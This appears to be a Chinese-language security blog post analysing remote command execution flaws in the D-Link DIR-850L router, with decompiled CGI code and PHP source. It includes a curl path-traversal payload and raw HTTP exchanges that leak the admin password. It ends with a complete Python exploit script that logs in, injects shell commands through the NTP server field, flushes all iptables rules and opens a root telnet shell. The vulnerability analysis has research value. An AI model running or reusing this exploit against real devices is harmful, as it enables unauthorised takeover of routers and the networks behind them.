0x01dlink850l远程命令执行漏洞

当管理员接口的配置信息发生改变时,变化的配置信息会以 xml 的数据格式发送给 hedwig.cgi ,由 hedwig.cgi 重载并应用这些配置信息,而在接受这个数据前,程序并没有对用户身份进行判断,导致非管理员用户也可向 hedwig.cgi 发送XML数据。在接收 XML 数据的过程中, hedwig.cgi 会调用 htdocs/webinc/fatlady.php 文件验证数据合法性。

hedwig.cgi其实是一个链接文件,指向/htdocs/cgibin文件,接收到用户请求的xml数据请求后先封装成xml文件,发送read xml的请求到xmldb server,然后发送execute php的请求到xmldb server。
hedwig.cgi

int hedwigcgi_main(void)

{
  bool bVar1;
  char *__s1;
  FILE *__stream;
  undefined *puVar2;
  int __fd;
  void *pvVar3;
  void *pvVar4;
  int __fd_00;
  int iVar5;
  int iVar6;
  char **ppcVar7;
  char acStack1232 [20];
  char *local_4bc [5];
  char acStack1192 [128];
  char acStack1064 [1024];

  memset(acStack1064,0,0x400);
  memset(acStack1192,0,0x80);
  memcpy(acStack1232,"/runtime/session",0x11);
  __s1 = getenv("REQUEST_METHOD");
  if (__s1 == (char *)0x0) {
    __s1 = "no REQUEST";
LAB_0040d1bc:
    pvVar3 = (void *)0x0;
    pvVar4 = (void *)0x0;
LAB_0040d5f4:
    __fd_00 = -1;
  }
  else {
    __fd_00 = strcasecmp(__s1,"POST");
    if (__fd_00 != 0) {
      __s1 = "unsupported HTTP request";
      goto LAB_0040d1bc;
    }
    cgibin_parse_request(&LAB_0040d5fc,0,0x20000);
    __stream = fopen("/etc/config/image_sign","r");  //读取文件载入硬件版本
    __s1 = fgets(acStack1192,0x80,__stream);
    if (__s1 == (char *)0x0) {
      __s1 = "unable to read signature!";
      goto LAB_0040d1bc;
    }
    fclose(__stream);
    cgibin_reatwhite(acStack1192);
    pvVar3 = (void *)sobj_new();
    pvVar4 = (void *)sobj_new();
    if ((pvVar3 == (void *)0x0) || (pvVar4 == (void *)0x0)) {
      __s1 = "unable to allocate string object";
      goto LAB_0040d5f4;
    }
    sess_get_uid((int)pvVar3);
    puVar2 = sobj_get_string((int)pvVar3);
    snprintf(acStack1064,0x400,"%s/%s/postxml","/runtime/session",puVar2);
    xmldbc_del((char *)0x0,0,acStack1064);   //删掉临时文件
    __stream = fopen("/var/tmp/temp.xml","w");
    if (__stream == (FILE *)0x0) {
      __s1 = "unable to open temp file.";
      goto LAB_0040d5f4;
    }
    if (DAT_00437f30 == (char *)0x0) {
      __s1 = "no xml data.";
      goto LAB_0040d5f4;
    }
    __fd_00 = fileno(__stream);
    __fd_00 = lockf(__fd_00,3,0);
    if (__fd_00 < 0) {
      printf(
             "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>"
             ,0);
      __fd_00 = 0;
      goto LAB_0040d570;
    }
    ppcVar7 = local_4bc + 2;
    __fd = fileno(__stream);
    lockf(__fd,1,0);
    local_4bc[1] = (char *)0x0;
    local_4bc[2] = 0;
    local_4bc[3] = 0;
    local_4bc[4] = 0;
    local_4bc[0] = acStack1192;
    local_4bc[1] = strtok(acStack1232,"/");
    __fd = 2;
    do {
      iVar6 = __fd;
      __fd = iVar6 + 1;
      __s1 = strtok((char *)0x0,"/");
      *ppcVar7 = __s1;
      ppcVar7 = ppcVar7 + 1;
    } while (__s1 != (char *)0x0);
    ppcVar7 = local_4bc;
    iVar5 = 0;
    __s1 = sobj_get_string((int)pvVar3);
    local_4bc[iVar6] = __s1;
    fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",__stream);
    bVar1 = 0 < __fd;
    while (iVar5 = iVar5 + 1, bVar1) {
      __s1 = *ppcVar7;
      ppcVar7 = ppcVar7 + 1;
      fprintf(__stream,"<%s>\n",__s1);
      bVar1 = iVar5 < __fd;
    }
    __s1 = strstr(DAT_00437f30,"<postxml>");
    fprintf(__stream,"%s\n",__s1);
    ppcVar7 = local_4bc + iVar6;
    do {
      __fd = __fd + -1;
      __s1 = *ppcVar7;
      ppcVar7 = ppcVar7 + -1;
      fprintf(__stream,"</%s>\n",__s1);//写入/var/tmp/temp.xml"
    } while (0 < __fd);
    fflush(__stream);
    xmldbc_read((char *)0x0,2,"/var/tmp/temp.xml"); //被其他文件读取
    __fd = fileno(__stream);
    lockf(__fd,0,0);
    fclose(__stream);
    remove("/var/tmp/temp.xml");  //删掉
    puVar2 = sobj_get_string((int)pvVar3);
    snprintf(acStack1064,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s","/runtime/session",puVar2)     //这里读取/htdocs/webinc/fatlady.php
    ;
    xmldbc_ephp((char *)0x0,0,acStack1064,stdout);// 运行刚才读取的/htdocs/webinc/fatlady.php
    if (__fd_00 == 0) goto LAB_0040d570;
    __s1 = (char *)0x0;
  }
  printf(
         "HTTP/1.1 200 OK\r\nContent-Type:text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>"
         ,__s1);
LAB_0040d570:
  if (DAT_00437f30 != (char *)0x0) {
    free(DAT_00437f30);
  }
  if (pvVar4 != (void *)0x0) {
    sobj_del(pvVar4);
  }
  if (pvVar3 != (void *)0x0) {
    sobj_del(pvVar3);
  }
  return __fd_00;
}

跟上一篇类似的插入
参考https://blog.csdn.net/qq_38204481/article/details/105113896

fatlady.php

HTTP/1.1 200 OK
Content-Type: text/xml

<?
include "/htdocs/phplib/trace.php";

/* get modules that send from hedwig */
/* call $target to do error checking, 
 * and it will modify and return the variables, '$FATLADY_XXXX'. */
$FATLADY_result = "OK";
$FATLADY_node   = "";
$FATLADY_message= "No modules for Hedwig";  /* this should not happen */

//TRACE_debug("FATLADY dump ====================\n".dump(0, "/runtime/session"));

foreach ($prefix."/postxml/module")
{
    del("valid");
    if (query("FATLADY")=="ignore") continue;  
    $service = query("service");
    if ($service == "") continue;
    TRACE_debug("FATLADY: got service [".$service."]");
    $target = "/htdocs/phplib/fatlady/".$service.".php";  /*FATLADY != ignore ,service字段可以直接被拼接并执行*/
    $FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
    $FATLADY_base   = $prefix."/postxml";
    if (isfile($target)==1) dophp("load", $target);
    else
    {
        TRACE_debug("FATLADY: no file - ".$target);
        $FATLADY_result = "FAILED";
        $FATLADY_message = "No implementation for ".$service;
    }
    if ($FATLADY_result!="OK") break;
}
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>".  $FATLADY_result.    "</result>\n";
echo "\t<node>".    $FATLADY_node.      "</node>\n";
echo "\t<message>". $FATLADY_message.   "</message>\n";
echo "</hedwig>\n";
?>

利用payload

curl -d '<?xml version="1.0" encoding="utf-8"?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>' -b "uid=demo" -H "Content-Type: text/xml" "http://VictimIp:8080/hedwig.cgi"

抓包

附加xml的post请求发送过去的命令触发漏洞
0x02dlink850l 命令执行漏洞获取shell

用./hedwig.cgi文件加载的fatlady.phpphp文件直接加载漏洞加载DEVICE.ACCOUNT.xml.php文件获取用户名,密码
请求:

POST /hedwig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Cookie: uid=whatever
Content-Length: 150

<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>

回应:

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: text/xml

<module>
    <service></service>
    <device>
        <gw_name>DIR-850L</gw_name>

        <account>
            <seqno>1</seqno>
            <max>2</max>
            <count>1</count>
            <entry>
                <uid>USR-</uid>
                <name>Admin</name>
                <usrid></usrid>
                <password>root1996</password>
                <group>0</group>
                <description></description>
            </entry>
        </account>
        <group>
            <seqno></seqno>
            <max></max>
            <count>0</count>
        </group>
        <session>
            <captcha>0</captcha>
            <dummy></dummy>
            <timeout>600</timeout>
            <maxsession>128</maxsession>
            <maxauthorized>16</maxauthorized>
        </session>
    </device>
</module>
<?xml version="1.0" encoding="utf-8"?>
<hedwig>
    <result>OK</result>
    <node></node>
    <message>No modules for Hedwig</message>
</hedwig>

/authentication.cgi 登录

a>获取到登录的 uid,callenge,使用GET请求

GET /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

回应

HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-850L Ver 1.14WW
Date: Fri, 27 May 2016 00:02:46 GMT
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

{"status": "ok", "errno": null, "uid": "0764udul3Z", "challenge": "d4efd41c-4595-4a16-b5b5-0d90dca490ca", "version": "0204"}
POST /authentication.cgi HTTP/1.1
b>使用uid键值对作为cookie,password与username+challenge作md5,发送post请求
POST /authentication.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

id=Admin&password=7499059A6F694AD6117790A807038807

接下来将作为root用户获取shell
用/getcfg.php执行DEVICE.TIME.xml.php文件
/getcfg.php文件里面是
从post过去的信息中获取SERVICES字段执行对应php文件(其实这里有一个漏洞,执行这个php文件可以不用拿到admin用户的密码)
执行的getcfg.php文件可以设置SERVICES字段可以运行另一个文件DEVICE.TIME.xml.php
DEVICE.TIME.xml.php文件有命令执行漏洞

query函数会获取post携带的xml文件里面的对应标签的数值,类似python的xpath
fwrite函数是写入数据流中,a是追加,应该是把这些命令写入文件之后执行(这里可以是一个赋值语句如果$server设置为"metelesku; ("+COMMAND+") & exit; "就会造成截断)
可以看到server字段被直接写入文件造成了命令执行。
发送报文

POST /getcfg.php HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 20
Content-Type: application/x-www-form-urlencoded

SERVICES=DEVICE.TIME

收到回应

$server = query("/device/time/ntp/server");来获取.
用post /hedwig.cgi文件执行命令
/hedwig.cgi文件会执行fatlady.php文件,设置service位和TDEVICE.TIME执行命令

发送的报文如下

向pigwidgeon.cgi发送激活请求,使服务生效
发送的报文

POST /pigwidgeon.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: uid=0764udul3Z
Content-Length: 25
Content-Type: application/x-www-form-urlencoded

ACTIONS=SETCFG%2CACTIVATE

post /pigwidgeon.cgi文件设置xml内容为 ACTIONS=SETCFG%2CACTIVATE可以激活一个服务


0x03利用脚本

#!/usr/bin/env python3
# pylint: disable=C0103
#coding=utf-8
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests



COMMAND = ";".join([
    "iptables -F",  # 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。
    "iptables -X",  #删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。
    "iptables -t nat -F",  #对指定nat链表进行 -F操作
    "iptables -t nat -X",   # 定义地址转换的,也只能做在3个链上:PREROUTING ,OUTPUT ,POSTROUTING
    "iptables -t mangle -F", #修改报文原数据,是5个链都可以做:PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING
    "iptables -t mangle -X",
    "iptables -P INPUT ACCEPT",  # -P指定要匹配的数据包协议类型 INPUT链 :处理输入数据包 ACCEPT :接收数据包
    "iptables -P FORWARD ACCEPT",#FORWARD链 :处理转发数据包。
    "iptables -P OUTPUT ACCEPT",   #OUTPUT链 :处理输出数据包。
    "telnetd -p 23090 -l /bin/date"  # 开启telnet服务。  之后执行命令:telnet 192.168.0.1 23090 拿到shell
    ])
try:
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
    pass

TARGET = sys.argv[1]
session = requests.Session()
session.verify = False

############################################################获取用户名密码

print("Get password...")

headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
    <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""

resp = session.post(urljoin(TARGET, "./hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)

# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
#       : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]

admin_pasw = ""

tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
    name = acc.findtext("name", "")
    pasw = acc.findtext("password", "")
    print("name:", name)
    print("pass:", pasw)
    if name == "Admin":
        admin_pasw = pasw

if not admin_pasw:
    print("Admin password not found!")
    sys.exit()

############################################################  通过/authentication.cgi获取key
#登录方式:
#1.发送get请求/authentication.cgi
#将获取到{"status": "ok", "errno": null, "uid": "MPxUAS6sZp",
#        "challenge": "c75a69e4-d1fe-4a47-b152-b494c9174316", "version": "0204"}
#2.使用uid键值对作为cookie,password与username+challenge作md5
#3.发送post请求到/authentication.cgi
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()

print("uid:", resp["uid"])
print("challenge:", resp["challenge"])

session.cookies.update({"uid": resp["uid"]})

print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw

data = {
    "id": user_name,
    "password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)

resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################设置cookie:uid=MPxUAS6sZp

data = {"SERVICES": "DEVICE.TIME"}
# POST /getcfg.php HTTP/1.1
# Host: 192.168.0.1
# User-Agent: python-requests/2.18.4
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Cookie: uid=MPxUAS6sZp
# Content-Length: 20
# Content-Type: application/x-www-form-urlencoded
#
# SERVICES=DEVICE.TIME
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)  #文件执行
print(resp.text)

tree = lxml.etree.fromstring(resp.content)   #设置要发送的xml文件的service字段和要执行的命令
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; ("+COMMAND+") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"

############################################################
#
print("hedwig")
#hedwig.cgi文件里面执行fatlady.php文件,设置service位和TDEVICE.TIME可以执行执行TDEVICE.TIME.xml.php
#TDEVICE.TIME.xml.php文件可以执行命令
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

############################################################
#激活服务
print("pigwidgeon")

data = {"ACTIONS": "SETCFG,ACTIVATE"}

resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)

tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖